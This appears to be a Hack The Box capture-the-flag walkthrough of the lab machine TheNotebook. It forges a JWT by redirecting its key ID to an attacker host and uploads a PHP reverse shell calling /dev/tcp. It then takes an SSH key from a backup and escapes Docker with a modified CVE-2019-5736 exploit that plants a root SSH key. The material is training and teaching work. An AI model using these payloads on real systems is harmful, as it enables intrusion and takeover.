HackTheBox - Thenotebook

HackTheBox - Thenotebook

TheNotebook from Hack The Box hosts a web-based note application and it uses a JWT token for its authentication cookie. The token can be forged to escalate myself to admin. With admin-level access, it is possible to drop a PHP web shell using the upload functionality, resulting in shell access to the system. Enumerating on the system discovers a backup file that contains SSH keys of a user. The user is allowed run a Docker container with sudo permissions. The Docker version in this machine is vulnerable to CVE-2019-5736. Along with the sudo permissions, the Docker vulnerability can be exploited to gain root access.

Skills Learned

  • JWT Key ID
  • Docker breakout using CVE-2019-573

Tools

Reconnaissance

Nmap

A full TCP scan discovers two open ports, SSH on port 22 and a NGINX web server on port 80.

→ kali@kali «thenotebook» «10.10.14.17» 
$ fscan 10.10.10.230 thenotebook
nmap -p- --min-rate=1000 10.10.10.230 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p22,80,10010 -sC -sV -oA nmap/10-tcp-allport-thenotebook 10.10.10.230
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-07 02:29 EDT
Nmap scan report for 10.10.10.230
Host is up (0.10s latency).

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.67 seconds

Enumeration

TCP 80 - Website

On port 80, the machine hosts a web application called “The Notebook”.

image-20210807133719995

I tried some default credentials on the login page, but no luck, so I will just register an account.

image-20210807134833301

And the site automatically logs me in.

image-20210807135132964

I can create a note on /notes. I will setup a Python web server and I add a note that contains my HTB IP. Unfortunately, there is no incoming request on my web server.

image-20210807135517614

My note has link of 10.10.10.230/f5379278-9969-4a8e-8fa5-969ec9ebf525/notes/8. Because the second path looks like a GUID which is unique, so I think the attack is not an IDOR.

Although, I said it’s not an IDOR, I have a cool trick to share:

→ kali@kali «thenotebook» «10.10.14.17» 
$ curl -sI 10.10.10.230/f5379278-9969-4a8e-8fa5-969ec9ebf525/notes/{7..8}
HTTP/1.1 401 UNAUTHORIZED
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 07 Aug 2021 07:07:48 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12
Connection: keep-alive

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 07 Aug 2021 07:07:49 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1710
Connection: keep-alive

Gobuster

Running a gobuster scan reveals that there is an admin page (/admin), but I have no access there.

→ kali@kali «thenotebook» «10.10.14.17» 
$ gobuster dir -u http://10.10.10.230/ -w /opt/SecLists/Discovery/Web-Content/common.txt -x txt -o gobuster/gobuster-S-80 -t 40 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.230/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt
[+] Timeout:                 10s
===============================================================
2021/08/07 02:44:26 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 403) [Size: 9]
/login                (Status: 200) [Size: 1250]
/logout               (Status: 302) [Size: 209] [--> http://10.10.10.230/]
/register             (Status: 200) [Size: 1422]                          
                                                                          
===============================================================
2021/08/07 02:44:49 Finished
===============================================================

While inspecting the browser storage, I find the site generates two cookie: auth and uuid. The auth cookie is a JWT token.

image-20210807141947185

Note: JWT token consists of header, payload, and signature that are separated by a dot and each part is encoded with base64.

The auth cookie can decoded using jwt.io.

image-20210807143329934

The value of kid (key identifier) and admin_cap are interesting vectors to play with. First, I will grab the header value and decode it.

→ kali@kali «thenotebook» «10.10.14.17»
$ echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9' | base64 -d
{"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}

I can try to modify the kid value to point to my IP, then I will encode the header back to base64.

→ kali@kali «thenotebook» «10.10.14.17»
$ echo -n '{"typ":"JWT","alg":"RS256","kid":"http://10.10.14.17/privKey.key"}' | base64 -w0
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4xNy9wcml2S2V5LmtleSJ9

I will put back the forged header to the auth cookie and setup a Python web server afterwards.

When I refresh the page, there is an incoming request for privKey.key to my web server.

image-20210807151313793

Foothold

Shell as www-data

Escalate to web admin

Since the kid value can be controlled by me, I can forge a token that has admin_cap value set to true and so the app will look for my private key and eventually validates my forged token using that key.

First, I will create privKey.key using ssh-keygen. I will host this key using Python web server.

→ kali@kali «exploits» «10.10.14.17» 
$ ssh-keygen -t rsa -P "" -b 4096 -m PEM -f privKey.key
Generating public/private rsa key pair.
Your identification has been saved in privKey.key
Your public key has been saved in privKey.key.pub
The key fingerprint is:
SHA256:IWMd7YYOw6gQT2tpGCtbx3Iaav2yW1qs8lyYGVl90fo kali@kali
The key's randomart image is:
+---[RSA 4096]----+
|        .o.      |
|o .   .. .o.     |
| B + ++.o+.      |
|= X B.+oooo      |
|.B.X   +S..      |
|o.o.*   .  E     |
|.  +.=           |
| ...*.           |
|  oB+            |
+----[SHA256]-----+

I will head to jwt.io to forge a new token and sign it using my privKey.key, and I will put this forged token to the auth cookie.

image-20210807152924854

When I refresh the browser, a new menu called “Admin Panel” pops up.

image-20210807153522086

Clicking the Admin Panel points to /admin where I see two options there: View Notes and Upload File.

image-20210807154045797

The View Notes button links to /admin/viewnotes, and in this page all users' note can be viewed by the admin.

image-20210807154240999

Two interesting notes created by the admin are titled: Need to fix config and Backups are scheduled. The first note contains information about a security issue.

image-20210807154529651

The second note states that the server has regular backups set.

image-20210807154537751

The File Upload button points to /admin/upload. This page provides an upload functionality.

image-20210807160019742

Web Shell Upload

According to the note titled with Need to fix config, I will try to drop the following PHP code on the upload page.

→ kali@kali «thenotebook» «10.10.14.17» 
$ echo "<?php phpinfo(); ?>" > iamf-test.php 

And the file gets uploaded.

image-20210807163411701

The uploaded file can be accessed at http://10.10.10.230/48101bbdd897877cc62b8704a293a436.php. When I visit the link, it processes the PHP code.

image-20210807163428110

I will change the payload with the following PHP reverse shell and then setup a netcat listener.

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.17/53 0>&1'") ?>

When I get the file URL, I will use curl to trigger the reverse shell.

→ kali@kali «thenotebook» «10.10.14.17» 
$ curl -s http://10.10.10.230/11ee6b411f33fe8f9c49d1a02e5720b7.php

Now on my listener, I have an interactive shell access as www-data .

→ kali@kali «thenotebook» «10.10.14.17» 
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.230] 39698
bash: cannot set terminal process group (1294): Inappropriate ioctl for device
bash: no job control in this shell
www-data@thenotebook:~/html$ 

Shell Upgrade

I will upgrade my shell to fully interactive one.

www-data@thenotebook:~/html$ which script
which script
/usr/bin/script
www-data@thenotebook:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@thenotebook:~/html$ ^Z
[1]  + 5987 suspended  nc -nvlp 53
→ kali@kali «thenotebook» «10.10.14.17» 
$ stty raw -echo;fg
[1]  + 5987 continued  nc -nvlp 53

www-data@thenotebook:~/html$ stty rows 30 cols 106
www-data@thenotebook:~/html$ export TERM=xterm

Privilege Escalation

Shell as noah

Enumeration

Based on the previous admin notes, I start with enumeration of readable file that contains “backup” string. One that stands out is /var/backups/home.tar.gz. I will grab that file to my attacking machine.

www-data@thenotebook:~/html$ find / -type f -readable 2>/dev/null | grep -i "backup"
...[SNIP]...
/var/backups/home.tar.gz
...[SNIP]...

The file contains an SSH private key for user noah.

→ kali@kali «loot» «10.10.14.17» 
$ tar -zxvf home.tar.gz
home/
home/noah/
home/noah/.bash_logout
home/noah/.cache/
home/noah/.cache/motd.legal-displayed
home/noah/.gnupg/
home/noah/.gnupg/private-keys-v1.d/
home/noah/.bashrc
home/noah/.profile
home/noah/.ssh/
home/noah/.ssh/id_rsa
home/noah/.ssh/authorized_keys
home/noah/.ssh/id_rsa.pub

SSH - noah

With the obtained private key, I can SSH login as noah .

→ kali@kali «thenotebook» «10.10.14.17» 
$ ssh -i loot/home/noah/.ssh/id_rsa noah@10.10.10.230
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

...[SNIP]...

  System information as of Sat Aug  7 09:57:29 UTC 2021

  System load:  0.03              Processes:              184
  Usage of /:   46.1% of 7.81GB   Users logged in:        0
  Memory usage: 19%               IP address for ens160:  10.10.10.230
  Swap usage:   0%                IP address for docker0: 172.17.0.1

...[SNIP]...

Last login: Wed Feb 24 09:09:34 2021 from 10.10.14.5
noah@thenotebook:~$ id
uid=1000(noah) gid=1000(noah) groups=1000(noah)

User flag is done here.

noah@thenotebook:~$ cat user.txt | sed -s 's/[a-f]/\*/g'
*881626900**9*271**710*266*9427*

Shell as root

Enumeration

User noah is allowed to run an interactive shell command to a container named webapp-dev01 as root.

noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

And the currently installed docker is vulnerable to CVE-2019-5736. More details about the vulnerability can be read here.

noah@thenotebook:~$ docker version
Client:
 Version:           18.06.0-ce
 API version:       1.38
 Go version:        go1.10.3
 Git commit:        0ffa825
 Built:             Wed Jul 18 19:09:54 2018
 OS/Arch:           linux/amd64
 Experimental:      false
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.38/version: dial unix /var/run/docker.sock: connect: permission denied

Docker Breakout CVE-2019-5736

To exploit the docker CVE-2019-5736, I will be using this PoC by Frichetten. The exploit’s author also gives a nice writeup about what the exploit does.

I will clone the PoC to my working directory.

→ kali@kali «exploits» «10.10.14.17» 
$ git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
Cloning into 'CVE-2019-5736-PoC'...
remote: Enumerating objects: 45, done.
remote: Total 45 (delta 0), reused 0 (delta 0), pack-reused 45
Receiving objects: 100% (45/45), 1.69 MiB | 254.00 KiB/s, done.
Resolving deltas: 100% (10/10), done.

In the main.go, I will modify the payload variable with a bash script that will inject my SSH public key to root’s authorized_keys file.

var payload = "#!/bin/bash \n mkdir -p /root/.ssh/ && echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINEBYhHk8/REIEriu8mkvQf4nihDP/deVl1j3Do/9R1H' > /root/.ssh/authorized_keys"

I will compile the PoC and host it.

→ kali@kali «CVE-2019-5736-PoC» «10.10.14.17» git:(master) ✗ 
$ go build -o breakout main.go && python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

On TheNotebook, I will have two SSH sessions. On the first SSH session, I will use it to download and execute the exploit within the container.

noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 bash
root@0f4c2517af40:/opt/webapp# wget -q 10.10.14.17:8080/breakout && chmod +x breakout
root@0f4c2517af40:/opt/webapp# ./breakout
[+] Overwritten /bin/sh successfully

Then on the second session, I will run the sudo command.

noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh

But then, on the container session, I get the following error:

root@0f4c2517af40:/opt/webapp# ./breakout
[+] Overwritten /bin/sh successfully
[+] Found the PID: 17638
[+] Found the PID: self
strconv.Atoi: parsing "self": invalid syntax

To resolve that, at line 42 of the main.go file, I will add another condition to ignore PID with name “self”.

for _, f := range pids {
	fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
	fstring := string(fbytes)
	if strings.Contains(fstring, "runc") {
		if !strings.Contains(f.Name(), "self") { // Added by me
			fmt.Println("[+] Found the PID:", f.Name())
			found, err = strconv.Atoi(f.Name())
			if err != nil {
				fmt.Println(err)
				return
			}
		} // end
	}
}

I will re-compile the exploit and transfer it again to the container, and this time it works!

root@c8cf4072ca26:/opt/webapp# ./breakout 
[+] Overwritten /bin/sh successfully
[+] Found the PID: 1729
[+] Getting file handle
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc000444000}
root@c8cf4072ca26:/opt/webapp# 

The full process

image-20210807220201808

SSH - Root

Now I can SSH login as root using my own private key.

→ kali@kali «thenotebook» «10.10.14.17»  
$ ssh root@10.10.10.230
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

...[SNIP]...

  System load:  0.1               Processes:              190
  Usage of /:   46.1% of 7.81GB   Users logged in:        1
  Memory usage: 19%               IP address for ens160:  10.10.10.230
  Swap usage:   0%                IP address for docker0: 172.17.0.1


...[SNIP]...

Last login: Fri Jul 23 14:27:18 2021
root@thenotebook:~# 

References